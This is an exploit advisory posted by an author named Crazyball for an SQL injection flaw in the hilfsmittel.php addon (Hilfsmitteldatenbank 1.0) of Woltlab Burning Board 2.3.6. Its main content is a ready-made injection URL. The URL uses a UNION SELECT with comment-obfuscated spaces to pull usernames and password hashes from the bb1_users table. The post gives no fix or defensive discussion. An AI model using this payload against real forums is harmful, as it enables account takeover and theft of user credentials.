24 lines
No EOL
783 B
Text
24 lines
No EOL
783 B
Text
#####################################################################################
|
|
|
|
> Woltlab Burning Board 2.3.6 Addon (hilfsmittel.php) SQL Injection Vulnerability <
|
|
|
|
#####################################################################################
|
|
|
|
[+] Autor: Crazyball
|
|
[+] Vulnerabilities [ SQL Injection ]
|
|
[+] Page: http://www.euweb.at/
|
|
[+] Language: [ PHP ]
|
|
[+] Version: Hilfsmitteldatenbank 1.0
|
|
[+] Date: n/a
|
|
[+] Vendor: http://www.woltlab.com/de/
|
|
|
|
##########################################################################################
|
|
|
|
[+] Vulnerability
|
|
|
|
hilfsmittel.php?action=read&katid=
|
|
|
|
|
|
[+] Exploitable
|
|
|
|
http://[host]/[path]/hilfsmittel.php?action=read&katid=5'/**/UNION/**/SELECT/**/1,2,concat(username,0x3a,password),4,5,6,7,8,9,10/**/FROM/**/bb1_users/* |